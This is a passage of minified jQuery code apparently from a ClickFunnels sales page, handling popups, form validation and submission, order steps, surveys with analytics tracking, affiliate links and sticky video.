.elIMG[data-imagelink='#close-popup']",function(){return $(".closeLPModal").trigger("click"),!1}),$(document).on("click","a[href='#open-popup'], .elIMG[data-imagelink='#open-popup']",function(){var e=$(this).parent().attr("data-elbuttontype");return void 0!==e&&"2"==e||(d(),$("#"+$ID+" .de-video-block").each(function(){$videoType=$(this).attr("data-video-type"),"evp"==$videoType&&($video=$(this).attr("data-evp-url"),""==$video||$video==undefined?$(".elVideo",this).html("No Video Set..."):$(".elVideo",this).html($video))}),$("#"+$ID+" .de-video-block .elVideo iframe").each(function(){$autoplaycheck=$(this).attr("data-popup-autoplay"),"true"==$autoplaycheck&&($src=$(this).attr("src"),$src=$src.replace("autoplay=0","autoplay=1"),$src=$src.replace("autoPlay=0","autoPlay=1"),$(this).attr("src",$src),$(this).attr("data-popup-autoplay","played"))})),!1}),$(document).on("click","a[href='#print'], .elIMG[data-imagelink='#print']",function(){return window.print(),!1}),$(document).on("click",".btnToggle",function(){return $(this).is(".elB1")?($showThis=$(this).attr("data-show"),$root=$(this).closest(".de-editable").attr("id"),$hideThis=$("#"+$root+" .elB2").attr("data-show"),$($showThis).show(),$($hideThis).hide(),$(this).hasClass("btnToggleActive")||($getB1Color=$("#"+$root+" .elB1").css("color"),$getB2Color=$("#"+$root+" .elB2").css("color"),$(this).css("color",$getB2Color),$("#"+$root+" .elB2").css("color",$getB1Color)),$("#"+$root+" .btnToggle").removeClass("btnToggleActive"),$("#"+$root+" .btnToggle").removeClass("btnToggleDeactive"),$("#"+$root+" .elB1").addClass("btnToggleActive"),$("#"+$root+" .elB2").addClass("btnToggleDeactive")):($showThis=$(this).attr("data-show"),$root=$(this).closest(".de-editable").attr("id"),$hideThis=$("#"+$root+" .elB1").attr("data-show"),$($.trim($showThis)).show(),$($.trim($hideThis)).hide(),$(this).hasClass("btnToggleActive")||($getB1Color=$("#"+$root+" .elB1").css("color"),$getB2Color=$("#"+$root+" .elB2").css("color"),$(this).css("color",$getB1Color),$("#"+$root+" .elB1").css("color",$getB2Color)),$("#"+$root+" .btnToggle").removeClass("btnToggleActive"),$("#"+$root+" .btnToggle").removeClass("btnToggleDeactive"),$("#"+$root+" .elB2").addClass("btnToggleActive"),$("#"+$root+" .elB1").addClass("btnToggleDeactive")),!1}),$(".stickyTop").sticky({center:!0,responsiveWidth:!0,getWidthFrom:".sticky-wrapper"}),$(document).on("click","a[href*='#scroll-'], .elIMG[data-imagelink*='#scroll-']",function(){return $getHref=$(this).attr("href"),$getTitle=$getHref.split("#scroll-"),$getTitle=$getTitle[1],$getTitle=$getTitle.replace(/%20/g," "),$('.container[data-title="'+$getTitle+'"], .container [data-title="'+$getTitle+'"]').first().velocity("scroll",{duration:500}),!1}),$pID=$("#page-id").val(),$requiredCheck="",$(document).on("keypress",":input:not(textarea):not([type=submit])",function(e){if(e.keyCode==CF_KEYCODE_ENTER){var t=$(this);if(t.hasClass("noEnterSubmitForm")||"radio"==t.attr("type"))return;$("a[href='#submit-form']").trigger("click")}}),$(document).on("click","a[href='#submit-form'], .elIMG[data-imagelink='#submit-form'], a[href='#submit-form-2step'], a[href='#submit-form-2step-order'], a[href*='#yes-link'], .elIMG[data-imagelink*='#yes-link']",function(e,t){var n=$(this);return $action=$(this).attr("href"),$(".elInput").each(function(e,t){var n,i,r;if(n=(r=$(this)).attr("name"),t=r.val(),""==n||"not-set"==n||""==t);else if("custom_type"==n||"cfx_all_countries"==n||"cfx_states"==n||"cfx_canada"==n||"cfx_states_canada"==n){if((i=r.attr("data-custom-type"))!=undefined){i=(i=i.toLowerCase()).replace(/\s+/g,"_"),$("#cf_contact_"+i).remove();var o=document.createElement("INPUT");o.id="cf_contact_"+i,o.name=i,o.nodeValue=t,o.setAttribute("value",t),o.setAttribute("data-cf-form-field",i),o.setAttribute("data-param",i),o.setAttribute("data-storage","false"),$("#cfAR").append(o)}}else"order_saas_url"===n?$("input[name='purchase[order_saas_url]']").val(t):$("#cf_contact_"+n).val(t)}).promise().done(function(){$requiredCheck="",$elementPathSelector="",$popupVisibleCheck=$(".modalBackdropWrapper").is(":visible"),1==$popupVisibleCheck?$elementPathSelector="#modalPopup .elInput.required1":$elementPathSelector=".elInput.required1",$($elementPathSelector).each(function(){$thisInput=$(this),$visible=$(this).is(":visible"),0==$visible||(""==$thisInput.val()?($requiredCheck="fail",$thisInput.css("border-color","#B91517"),$thisInput.css("border-width","3px")):"email"==$thisInput.attr("name")?(email=$thisInput.val(),m(email)?($thisInput.css("border-color","#4a8920"),$thisInput.css("border-width","3px")):($requiredCheck="fail",$thisInput.css("border-color","#B91517"),$thisInput.css("border-width","3px"))):($thisInput.css("border-color","#4a8920"),$thisInput.css("border-width","3px")))}).promise().done(function(){if($(".elInput.required0").css("border-color","#4a8920"),$(".elInput.required0").css("border-width","3px"),"fail"==$requiredCheck)return $(".otoloading").hide(),event.stopPropagation(),window.cfARIsValid=!1,"function"==typeof t&&t(),!1;var i=this;CFFacebookMessengerCheckbox.beforeSubmitForm().then(function(){return new Promise(function(e){var t=$.cookie("cf:clickpush:subscription");if(null!=t){var n=JSON.parse(t);$.each(n,function(e,t){$("<input>").attr("type","hidden").attr("name","clickpush_subscription["+e+"]").attr("value",t).appendTo("#cfAR")})}e()})}).then(function(){try{$time_zone=Intl.DateTimeFormat().resolvedOptions().timeZone}catch(e){$time_zone="America/New_York"}if($("#cf_contact_time_zone").val($time_zone),$arService=$("#submit-form-action").attr("data-ar-service"),"HTML"==$arService)$(".containerWrapper .de-input-block").each(function(){$ID=$(this).attr("id"),$value=$(".elInput",this).val(),$(".nodoCustomHTML input[data-sync='"+$ID+"']").val($value)}).promise().done(function(){$(".nodoHiddenFormFields .elInput").each(function(){$ID=$(this).attr("id"),$value=$(this).val(),$(".nodoCustomHTML input[data-sync='"+$ID+"']").val($value)}).promise().done(function(){n.text("Submitting..."),n.prop("disabled",!0),n.prop("href","javascript:return false;");var e=$("#cfAR").clone();e.find("input").each(function(){this.id="arclone_"+this.id}),$(".elInput").each(function(t,n){if(name=$(this).attr("name"),n=$(this).val(),""==name||"not-set"==name||""==n);else if("custom_type"==name){if($customType=$(this).attr("data-custom-type"),$customType!=undefined){$customType=$customType.toLowerCase(),$customType=$customType.replace(/\s+/g,"_"),$("#arclone_cf_contact_"+$customType).remove();var i=document.createElement("INPUT");i.id="arclone_cf_contact_"+$customType,i.name=$customType,i.nodeValue=n,i.setAttribute("value",n),e.append(i)}}else e.find("#arclone_cf_contact_"+name).val(n).attr("name","contact["+name+"]")}),$.ajax({type:"POST",url:$("head").attr("data-this-url")||window.location,data:e.serialize()}).always(function(){"#submit-form-2step"==$action?($stepOrderWrapper=$(i).closest(".elOrder2Step"),$stepOrderWrapper.find(".o2step_step1").hide(),$stepOrderWrapper.find(".o2step_step2").show(),$stepOrderWrapper.find(".order2Step-step").removeClass("order2StepActive"),$stepOrderWrapper.find(".order2Step-step-2").addClass("order2StepActive"),$stepOrderWrapper.find(".order2StepProgress").removeClass("order2Step25"),$stepOrderWrapper.find(".order2StepProgress").addClass("order2Step75"),$step2header=$stepOrderWrapper.find(".order2StepHeader"),$step2header.length&&$step2header.get(0).scrollIntoView()):($(".nodoCustomHTML input[type='submit']").remove(),$(".nodoCustomHTML form").submit())})})});else{$("#cfAR input[type='submit']").remove();try{"https://www.backpackcrm.com/orders"==$("#cfAR").attr("action")&&SendData(SendData("cfAR",$("#cfAR")[0].onsubmit))}catch(err){}if("#submit-form-2step"==$action){$stepOrderWrapper=$(i).closest(".elOrder2Step"),$stepOrderWrapper.find(".o2step_step1").hide(),$stepOrderWrapper.find(".o2step_step2").show(),$stepOrderWrapper.find(".order2Step-step").removeClass("order2StepActive"),$stepOrderWrapper.find(".order2Step-step-2").addClass("order2StepActive"),$stepOrderWrapper.find(".order2StepProgress").removeClass("order2Step25"),$stepOrderWrapper.find(".order2StepProgress").addClass("order2Step75"),$step2header=$stepOrderWrapper.find(".order2StepHeader"),$step2header.length&&$step2header.get(0).scrollIntoView(),$("#bump-offer").attr("style","margin: 4px 0px 0px -20px; cursor: pointer; float: left;");var r=$(".checkbox.inline").attr("style");$(".checkbox.inline").attr("style",r+"; cursor: auto !important;"),$(".goBacktoStepOneOrderBump").length||$(".o2step_step2").prepend('<a href="#" class="goBacktoStepOneOrderBump" style="display: block; color: #888 !important; text-none: underline;font-size: 11px; color: #333; padding: 5px; padding-top: 0;padding-bottom: 15px; margin-top: 0;"><i class="fa fa-arrow-left" style="padding-right: 7px;"></i><span class="goBacktoStepOneOrderBumpSpan">Edit Shipping Details</span></a>'),$.ajax({type:"POST",url:window.location,data:$("#cfAR").serialize()})}else if(window.isPayPalOrderForm)window.cfARIsValid=!0,"function"==typeof t&&t();else{$("#cfAR").one("submit",function(){window.CFStripeErrorStartTransaction?($("[href=#submit-form], [href=#submit-form-2step-order]").prop("disabled",!1),window.CFStripeErrorStartTransaction=!1):("javascript:void(0)"!=n.attr("href")&&n.attr("data-href-original",n.attr("href")),n.attr("href","javascript:void(0)"))});var o="true"===$("meta[name='can_use_infusionsoft_tokenization']").attr("content"),a=$("meta[name='infusionsoft_subdomain']").attr("content");o&&a&&a.length>0?window.CFInfusionsoftTokenizationHandler(a,function(){$("#cfAR").submit()}):$("#cfAR").submit()}}})})}),!1}),$(document).on("click",".goBacktoStepOneOrderBump",function(){$stepOrderWrapper=$(this).closest(".elOrder2Step"),$stepOrderWrapper.find(".o2step_step2").hide(),$stepOrderWrapper.find(".o2step_step1").show(),$stepOrderWrapper.find(".order2Step-step").addClass("order2StepActive"),$stepOrderWrapper.find(".order2Step-step-2").removeClass("order2StepActive"),$stepOrderWrapper.find(".order2StepProgress").addClass("order2Step25"),$stepOrderWrapper.find(".order2StepProgress").removeClass("order2Step75"),$step2header=$stepOrderWrapper.find(".order2StepHeader"),$step2header.length&&$step2header.get(0).scrollIntoView()}),$("input, textarea").placeholder(),$("#modalPopup").hasClass("bounce")&&("true"==$queries.nopopup||ouibounce(!1,{aggressive:!0,timer:500,sensitivity:40,callback:function(){d()}})),"true"==$queries.noautoplay&&$(".elVideoWrapper").each(function(){$elem=$(this),$videoType=$elem.attr("data-video-type"),"youtube"==$videoType?($src=$(".elVideo iframe",this).attr("src"),$src=$src.replace("autoplay=1","autoplay=0"),$(".elVideo iframe",this).attr("src",$src)):"vimeo"==$videoType?($src=$(".elVideo iframe",this).attr("src"),$src=$src.replace("autoplay=1","autoplay=0"),$(".elVideo iframe",this).attr("src",$src)):"wistia"==$videoType&&($src=$(".elVideo iframe",this).attr("src"),$src=$src.replace("autoPlay=1","autoPlay=0"),$(".elVideo iframe",this).attr("src",$src))}),$(".elSelect").click(function(){g($("select",this))}).children().click(function(){return!1}),$(".de-video-block").fitVids({customSelector:"iframe[src*='fast.wistia.net']"}),CFbuildAudioPlayer($(".elAudioWrapper"),!0),$(document).on("click","#closeCFPOPUP",function(){parent.postMessage("closeCF","*")}),$(document).on("click","html",function(e){var t=$(e.target);(t.is(".container")||t.is(".containerWrapper")||t.is("html"))&&parent.postMessage("closeCF","*")});var P=window.addEventListener?"addEventListener":"attachEvent";(0,window[P])("attachEvent"==P?"onmessage":"message",function(e){"reanimate"==e.data&&M()},!1),$(".iframeblocked").append("<div class='iframeBlocker'></div>"),$(".iframeunmuted").append("<div class='iframeUnmute'></div>"),$(document).on("keyup",".elInput",function(){$input=$(this),$val=$input.val(),$attr=$input.attr("name"),"custom_type"==$attr||$(".elInput[name='"+$attr+"']").not($(this)).val($val)}),$(document).on("change",".smsCountryCode",function(){$countryCode=$(this).val(),$(".mobileSMSPhoneInput").val($countryCode)}),$(document).on("click",".elAffCopyPasteImage",function(){$html=$.trim($(".elAffiliateImageAsset",this).html()),$(this).find(" .elAffiliateCopyPopup").fadeIn(),$(this).find(" .elAffiliateCopyPopup").find("textarea").eq(0).val($html),$(this).find(" .elAffiliateCopyPopup").find("textarea").eq(0).select()}),$(document).on("click",".elAffCopyPasteText",function(){$html=$.trim($(".elAffiliateTextAsset",this).html()),$(this).find(" .elAffiliateCopyPopup").fadeIn(),$(this).find(" .elAffiliateCopyPopup").find("textarea").eq(0).val($html),$(this).find(" .elAffiliateCopyPopup").find("textarea").eq(0).select()}),$(document).on("click",".elAffiliateCopyPopup .closeAffiliateCopy",function(e){$(this).parent().fadeOut(),e.stopPropagation()});var D=$("#cfx_all_states"),F=$("#cfx_all_canada");$(".elInput[name='cfx_all_countries']").find("option").remove(),$(".elInput[name='cfx_all_countries']").html($("#cfx_all_countries").html()),$(".elInput[name='cfx_states']").find("option").remove(),$(".elInput[name='cfx_states']").html(D.html()),$(".elInput[name='cfx_canada']").find("option").remove(),$(".elInput[name='cfx_canada']").html(F.html()),$(".elInput[name='cfx_states_canada']").find("option").remove(),$(".elInput[name='cfx_states_canada']").append($("<option>",{value:"",text:"Select States/Provinces"})),D.length&&D.html()&&$(".elInput[name='cfx_states_canada']").append(D.html().split("\n").splice(2).join("\n")),F.length&&F.html()&&$(".elInput[name='cfx_states_canada']").append(F.html().split("\n").splice(2).join("\n")),$(".elAffCopyPaste").each(function(){$customURL=$(this).attr("data-custom-url"),$customURL&&($affiliateID=$("body").attr("data-affiliate-id"),$affiliateParam=$("body").attr("data-affiliate-param"),$("a",this).each(function(){"cf_affiliate_id"==$affiliateParam?$(this).attr("href",$customURL+"?"+$affiliateParam+"="+$affiliateID+"&affiliate_id="+$affiliateID):$(this).attr("href",$customURL+"?"+$affiliateParam+"="+$affiliateID)}))}),$(".elAffiliate[data-de-type='affiliate-link']").each(function(){$customURL=$(this).attr("data-custom-url"),$customURL&&($affiliateID=$("body").attr("data-affiliate-id"),$affiliateParam=$("body").attr("data-affiliate-param"),"cf_affiliate_id"==$affiliateParam?$(".elInput",this).val($customURL+"?"+$affiliateParam+"="+$affiliateID+"&affiliate_id="+$affiliateID):$(".elInput",this).val($customURL+"?"+$affiliateParam+"="+$affiliateID))}),$(".elButton[href='#survey-next']").attr("data-clicked","false"),$(".elIMG[data-imagelink='#survey-next']").attr("data-clicked","false"),$(document).on("keydown",".surveyRadioOption",function(e){e.keyCode!=CF_KEYCODE_ENTER&&e.keyCode!=CF_KEYCODE_SPACE||$(this).trigger("click")}),$(document).on("click",".surveyRadioOption",function(e){var t,n,i,r,o,a,s;e&&e.originalEvent&&0===e.originalEvent.detail||(s=$(this),a=s.closest(".elSurvey"),s.closest(".surveyStep").find(".surveyRadioOption").removeClass("surveyStepSelectedAnswer"),s.addClass("surveyStepSelectedAnswer"),t=!0,$(".elButton[href='#survey-next']").length?(n=$(".elButton[href='#survey-next']").hasClass("cfSurvey_go_to_next"),t=n):$(".elIMG[data-imagelink='#survey-next']").length&&(i=$(".elIMG[data-imagelink='#survey-next']").hasClass("cfSurvey_go_to_next"),t=i),r=s.attr("data-skip-q"),o=s.attr("data-answer-id"),"true"==a.attr("data-survey-new")&&$('.cf_triggers[data-a-id="'+o+'"]').each(function(){var e,t,n,i,r,o=$(this);"on"==(e=o.data()).fb&&""!==e.fbName&&fbq("trackCustom","cfSurvey",{name:e.fbName}),"on"==e.gtm&&""!==e.gtmName&&dataLayer.push({event:e.gtmName}),t=a.attr("id"),i=(n=$("#page-id").val())+"_"+t,r=$.cookie("cf_survey_participant_trigger_"+n);try{KeenAsync.ready(function(){});var s=new KeenAsync({projectId:"58a35e6f8db53dfda8a87a67",writeKey:"E844E116CB12000A6B72AA691F8A2108E6BEBC97A05786370C6703C31E3A5FD4EDC7CC8012418A997621F11C2CFD95A9C1D64E6EF1850AFCC2B76E360F7BA3BC3BE6AEFCCFAAD87B19E1309B88378181E69436B7E01A38447184F2886A9D7AF9"})}catch(err){console.log("keen.io could not be loaded")}if(r==undefined){$.cookie("cf_survey_participant_trigger_"+n,CFSurveyParticipantID,{expires:7});try{s.recordEvent("survey_data_collector",{survey_id:i,pid:CFSurveyParticipantID,type:"trigger",triggerID:o.attr("id")})}catch(err){}}}),s.closest(".surveyStepQuestions").find("input").prop("checked",!1),$("input",this).prop("checked",!0).promise().done(function(){var n,i,a,s,l,c,u,d,f,p,h=$(this);n=h.closest("[data-survey-step]").attr("data-survey-step"),i=(i=h.next("span").text()).trim(),a=$(this).closest(".surveyStep:not(.surveyStepGroup), .surveyStep_v").find(".surveyStepHeadline").text().trim(),p=T("answer",l=(l=(l=h.closest(".elSurvey").attr("id")).split("-"))[1],n),$("#cfAR input[name='"+p+"']").val(i),$cfSurvey_outcome[n]=o,CFSurveyQueryOutcome.push([T("question",l,n),a]),CFSurveyQueryOutcome.push([p,i]),s=h.closest(".elSurvey").attr("id"),h.closest(".surveyStep").find(".surveyStepNextButton").is(":visible")||0==t||(u=(c=$(this).closest(".surveyStep_v").length>0)?$(this).closest(".surveyStep_v"):$(this).closest(".surveyStep"),r!==undefined?"end"==r?b(u.closest(".elSurvey").attr("data-complete"),s=u.closest(".elSurvey").attr("id")):(s=u.closest(".elSurvey").attr("id"),(d=$("#"+s+" [data-survey-step='"+r+"']")).hasClass("surveyStep_v")?(u.hide(),$(".surveyStepGroup").hide(),d.closest(".surveyStepGroup").show(),h.closest(".surveyStep_v").hide(),d.show(),y(s,u)):(u.hide(),$(".surveyStepGroup").hide(),d.show(),y(s,u))):(f=u.next(),c&&0===f.length&&(f=$(this).closest(".surveyStep").next()),0==f.length?b(u.closest(".elSurvey").attr("data-complete"),s=u.closest(".elSurvey").attr("id")):f.hasClass("surveyStepGroup")?(u.hide(),f.show(),f.find(".surveyStep_v").hide(),f.find(".surveyStep_v").first().show(),y(s,u)):(u.hide(),f.show(),y(s,u)),e.originalEvent==undefined&&f.find(".surveyRadioOption input").first().focus()))}))}),$(document).on("click",".elButton[href='#survey-next']",function(){$(".surveyStepSelectedAnswer").is(":visible")?($(this).addClass("cfSurvey_go_to_next"),$(".surveyStepSelectedAnswer").trigger("click"),$(this).removeClass("cfSurvey_go_to_next")):($(".surveyStep:visible").find(".surveyRadioOption").addClass("noanswer"),setTimeout(function(){$(".surveyStep:visible").find(".surveyRadioOption").removeClass("noanswer")},800))}),$(document).on("click",".elIMG[data-imagelink='#survey-next']",function(){$(".surveyStepSelectedAnswer").is(":visible")?($(this).addClass("cfSurvey_go_to_next"),$(".surveyStepSelectedAnswer").trigger("click"),$(this).removeClass("cfSurvey_go_to_next")):($(".surveyStep:visible").find(".surveyRadioOption").addClass("noanswer"),setTimeout(function(){$(".surveyStep:visible").find(".surveyRadioOption").removeClass("noanswer")},800))}),$(".elSurvey").each(function(){$action=$(this).attr("data-complete"),"hideshow"==$action&&($show=$(this).attr("data-show-ids"),$show&&($show=$show.split(","),$.each($show,function(){$("#"+this).hide()}))),$ID=$(this).attr("id"),$totalSurveySteps=0,$(".surveyStep",this).each(function(){$totalSurveySteps+=1}).promise().done(function(){$("#"+$ID+" .surveyStep:not(.surveyStepGroup), .surveyStep_v").each(function(){$stepNumber=$(this).attr("data-survey-step"),$surveyID=$(this).closest(".elSurvey").attr("id"),$surveyID&&($surveyID=$surveyID.split("-"),$surveyID=$surveyID[1]),$question=T("question",$surveyID,$stepNumber),$questionTitle=$(".surveyStepHeadline",this).text(),$questionTitle=$questionTitle.trim(),$("#cfAR").append("<input id='"+$question+"' name='"+$question+"' data-cf-form-field='"+$question+"' data-param='"+$question+"' value='"+$questionTitle+"' data-storage='false' >"),$answer=T("answer",$surveyID,$stepNumber),$("#cfAR").append("<input id='"+$answer+"' name='"+$answer+"' data-cf-form-field='"+$answer+"' data-param='"+$answer+"' placeholder='"+$answer+"' data-storage='false' >"),$progress=$stepNumber/$totalSurveySteps*100,$(".surveyStepProgressCounter",this).attr("data-progress-width",$progress)}).promise().done(function(){$getprogress=$("#"+$ID+" .surveyStep .surveyStepProgressCounter").first().attr("data-progress-width"),$(".surveyStepProgressCounter").css("width",$getprogress+"%")})})}),$(document).on("click",".surveyStepNextButton a",function(){return $answerSelected="NA",$ID=$(this).closest(".elSurvey").attr("id"),$(this).closest(".surveyStep").find(".surveyRadioOption").each(function(){$(this).hasClass("surveyStepSelectedAnswer")&&($answerSelected="FOUND")}).promise().done(function(){"FOUND"==$answerSelected?($root=$(this).closest(".surveyStep"),$next=$root.next(),0==$next.length?($action=$root.closest(".elSurvey").attr("data-complete"),$ID=$root.closest(".elSurvey").attr("id"),b($action,$ID)):($root.hide(),$next.show(),$getprogress=$next.find(".surveyStepProgressCounter").attr("data-progress-width"),$(this).closest(".elSurvey").find(".surveyStepProgressCounter").css("width",$getprogress+"%"))):($(this).closest(".surveyStep").find(".surveyRadioOption").addClass("noanswer"),$this=$(this),setTimeout(function(){$this.closest(".surveyStep").find(".surveyRadioOption").removeClass("noanswer")},800))}),!1}),SurveyMatcher={bestMatch:function(e,t){var n=Object.keys(t).reduce(function(n,i){return Object.keys(t[i]).forEach(function(r){e[r]&&e[r]==t[i][r]?n[i]?n[i]+=1:n[i]=1:delete n[i]}),n},{}),i={name:"default",count:0};return Object.keys(n).forEach(function(e){n[e]>=i.count&&(i.count=n[e],i.name=e)}),i.name}},$(".elCustomJS_code").each(function(){$getJS=$(this).attr("data-custom-js"),$getDisplayType=$(this).attr("data-displaytype"),"postscribe"==$getDisplayType?postscribe(this,$getJS):$(this).html($getJS)}),$carContestProgress=$(".affCarContestProgressBar").attr("data-progress"),$(".affCarContestProgressBar .affCarContestCar img").delay(500).velocity({left:Math.max($carContestProgress-12,0)+"%"},500),$(".affCarContestProgressBar .affCarContestNumbersInner").delay(500).velocity({left:Math.max($carContestProgress-12,0)+"%"},500),$(".affCarContestProgressBar .affCarContestInnerBar").delay(500).velocity({width:$carContestProgress+"%"},500), $(".elAffiliateFunnelLinkBuilder").each(function(){$elem=$(this),$link1=$elem.attr("data-link1-name"),"undefined"==typeof $link1||0!==$link1.length&&($link1url=$elem.attr("data-link1-url"),$(".affLinkBuilderCustomLinks",this).append($("<option>",{value:$link1url,text:$link1}))),$link2=$elem.attr("data-link2-name"),"undefined"==typeof $link2||0!==$link2.length&&($link2url=$elem.attr("data-link2-url"),$(".affLinkBuilderCustomLinks",this).append($("<option>",{value:$link2url,text:$link2}))),$link3=$elem.attr("data-link3-name"),"undefined"==typeof $link3||0!==$link3.length&&($link3url=$elem.attr("data-link3-url"),$(".affLinkBuilderCustomLinks",this).append($("<option>",{value:$link3url,text:$link3}))),$link4=$elem.attr("data-link4-name"),"undefined"==typeof $link4||0!==$link4.length&&($link4url=$elem.attr("data-link4-url"),$(".affLinkBuilderCustomLinks",this).append($("<option>",{value:$link4url,text:$link4}))),$link5=$elem.attr("data-link5-name"),"undefined"==typeof $link5||0!==$link5.length&&($link5url=$elem.attr("data-link5-url"),$(".affLinkBuilderCustomLinks",this).append($("<option>",{value:$link5url,text:$link5}))),$link6=$elem.attr("data-link6-name"),"undefined"==typeof $link6||0!==$link6.length&&($link6url=$elem.attr("data-link6-url"),$(".affLinkBuilderCustomLinks",this).append($("<option>",{value:$link6url,text:$link6}))),$link7=$elem.attr("data-link7-name"),"undefined"==typeof $link7||0!==$link7.length&&($link7url=$elem.attr("data-link7-url"),$(".affLinkBuilderCustomLinks",this).append($("<option>",{value:$link7url,text:$link7}))),$link8=$elem.attr("data-link8-name"),"undefined"==typeof $link8||0!==$link8.length&&($link8url=$elem.attr("data-link8-url"),$(".affLinkBuilderCustomLinks",this).append($("<option>",{value:$link8url,text:$link8}))),$link9=$elem.attr("data-link9-name"),"undefined"==typeof $link9||0!==$link9.length&&($link9url=$elem.attr("data-link9-url"),$(".affLinkBuilderCustomLinks",this).append($("<option>",{value:$link9url,text:$link9}))),$link10=$elem.attr("data-link10-name"),"undefined"==typeof $link10||0!==$link10.length&&($link10url=$elem.attr("data-link10-url"),$(".affLinkBuilderCustomLinks",this).append($("<option>",{value:$link10url,text:$link10}))),$link11=$elem.attr("data-link11-name"),"undefined"==typeof $link11||0!==$link11.length&&($link11url=$elem.attr("data-link11-url"),$(".affLinkBuilderCustomLinks",this).append($("<option>",{value:$link11url,text:$link11}))),$link12=$elem.attr("data-link12-name"),"undefined"==typeof $link12||0!==$link12.length&&($link12url=$elem.attr("data-link12-url"),$(".affLinkBuilderCustomLinks",this).append($("<option>",{value:$link12url,text:$link12}))),$link13=$elem.attr("data-link13-name"),"undefined"==typeof $link13||0!==$link13.length&&($link13url=$elem.attr("data-link13-url"),$(".affLinkBuilderCustomLinks",this).append($("<option>",{value:$link13url,text:$link13})))}),$(".affiliateLinkAffSubID1").garlic("destroy"),$(".affiliateLinkAffSubID2").garlic("destroy"),$(".affLinkBuilderCustomLinks").garlic("destroy"),$(".affiliateLinkAffOutput").garlic("destroy"),$(".affLinkPopups").garlic("destroy"),$(".affLinkAutoplay").garlic("destroy"),$(".affLinkCookiePreview").garlic("destroy"),$(document).on("change",".affLinkBuilderCustomLinks",function(){$value=$(this).val(),$position=$("option[value='"+$value+"']",this).index(),$getElementID=$(this).closest(".elAffiliateFunnelLinkBuilder").attr("id"),1==$position?w($getElementID,"true"):w($getElementID)}),$(document).on("keyup",".affiliateLinkAffSubID1",function(){$getElementID=$(this).closest(".elAffiliateFunnelLinkBuilder").attr("id"),w($getElementID)}),$(document).on("keyup",".affiliateLinkAffSubID2",function(){$getElementID=$(this).closest(".elAffiliateFunnelLinkBuilder").attr("id"),w($getElementID)}),$(document).on("change",".affLinkPopups",function(){$getElementID=$(this).closest(".elAffiliateFunnelLinkBuilder").attr("id"),w($getElementID)}),$(document).on("change",".affLinkAutoplay",function(){$getElementID=$(this).closest(".elAffiliateFunnelLinkBuilder").attr("id"),w($getElementID)}),$(document).on("change",".affLinkCookiePreview",function(){$getElementID=$(this).closest(".elAffiliateFunnelLinkBuilder").attr("id"),w($getElementID)}),$(".affLinkBuilderCustomLinks").garlic("destroy"),$(".affiliateLinkAffSubID1").garlic("destroy"),$(".affiliateLinkAffSubID2").garlic("destroy"),$(".affiliateLinkAffOutput").garlic("destroy"),$(".affLinkPopups").garlic("destroy"),$(".affLinkAutoplay").garlic("destroy"),$(".elOrderProductOptinProductName:not(:has(>div))").css("width","inherit"),$todayYear=(new Date).getFullYear().toString(),"2016"==$todayYear?$(".cc-expirey-year option:contains('2015')").remove():"2017"==$todayYear?($(".cc-expirey-year option:contains('2015')").remove(),$(".cc-expirey-year option:contains('2016')").remove()):"2018"==$todayYear?($(".cc-expirey-year option:contains('2015')").remove(),$(".cc-expirey-year option:contains('2016')").remove(),$(".cc-expirey-year option:contains('2017')").remove()):"2019"==$todayYear&&($(".cc-expirey-year option:contains('2015')").remove(),$(".cc-expirey-year option:contains('2016')").remove(),$(".cc-expirey-year option:contains('2017')").remove(),$(".cc-expirey-year option:contains('2018')").remove())}),$(function(){if($(".clickfunnels-sticky-video").length>0){var e={Android:function(){return navigator.userAgent.match(/Android/i)},BlackBerry:function(){return navigator.userAgent.match(/BlackBerry/i)},iOS:function(){return navigator.userAgent.match(/iPhone|iPad|iPod/i)},Opera:function(){return navigator.userAgent.match(/Opera Mini/i)},Windows:function(){return navigator.userAgent.match(/IEMobile/i)},any:function(){return e.Android()||e.BlackBerry()||e.iOS()||e.Opera()||e.Windows()}},t=($(window).width(),$(".clickfunnels-sticky-video").first()),n="#"+t.attr("id"),i=t.attr("button-id"),r="off";if($("body").on("click","#cf-sticky-video-closeYesIcon",function(e){e.preventDefault(),$(n+" iframe").attr("style",""),r="on",t.find("#cf-sticky-video-closeYesIcon").remove()}),t.hasClass("cf-sticky-video200"))var o=250,a=140;else if(t.hasClass("cf-sticky-video300"))o=360,a=168;else if(t.hasClass("cf-sticky-video400"))o=400,a=225;else if(t.hasClass("cf-sticky-video500"))o=500,a=281;else o=250,a=140;var s="";if(t.hasClass("cf-sticky-videoBottomLeft")){s="left: 20px;right: auto;bottom: 20px;top: auto;";var l="bottom: "+(parseInt(a)+15)+"px !important;padding-bottom: 20px;",c="bottom: "+a+"px;left: 10px;"}else if(t.hasClass("cf-sticky-videoTopLeft")){s="left: 20px;right: auto;top: 20px;";l="top: "+(parseInt(a)+15)+"px !important;padding-top: 20px;",c="top: 14px;left: 10px;"}else if(t.hasClass("cf-sticky-videoBottomRight")){s="left: auto;right: 20px;bottom: 20px;top: auto;";l="bottom: "+(parseInt(a)+15)+"px !important;padding-bottom: 20px;",c="bottom: "+a+"px;right: 10px;"}else{s="left: auto;right: 20px;top: 20px;";l="top: "+(parseInt(a)+15)+"px !important;padding-top: 20px;",c="top: 14px;right: 10px;"}if(""!=i)var u=$(i).attr("style");function d(){var e=n+" iframe",r=$(e).height()+100,d=$(window).scrollTop();if(d>=r){if(t.hasClass("cf-sticky-video-theme4")){var f="border: 10px solid rgba(0,0,0,0.1)";c+="background: #000;color: #fff"}else if(t.hasClass("cf-sticky-video-theme2")){f="padding: 5px;border-radius: 4px;background: #fff;box-shadow: 0 5px 10px rgba(0,0,0,0.2);";c+="color: #000;background: #fff;"}else if(t.hasClass("cf-sticky-video-theme3")){f="border: 10px solid rgba(255,255,255,0.3)";c+="color: #000;background: #fff;"}else{f="padding: 5px;border-radius: 4px;background: #000;box-shadow: 0 5px 30px rgba(0,0,0,0.2);";c+="background: #000;color: #fff"}t.hasClass("cf-sticky-video-closeYes")&&(t.find("#cf-sticky-video-closeYesIcon").remove(),t.find(".fluid-width-video-wrapper").append('<a href="#" style="position: fixed;z-index: 9999929;cursor: pointer'+s+c+';padding: 5px 9px;border-radius: 50%" id="cf-sticky-video-closeYesIcon"><i class="fa fa-times"></i></a>')),$(e).attr("style","position: fixed;z-index: 999999;"+s+"height: "+a+"px;width: "+o+"px;"+f),$(e).addClass("cf-sticky-video-active"),""!=i&&($(i).addClass("cf-sticky-button-active"),$(i).attr("style","position: fixed;z-index: 999999;"+s+";"+l+";display: block;width: 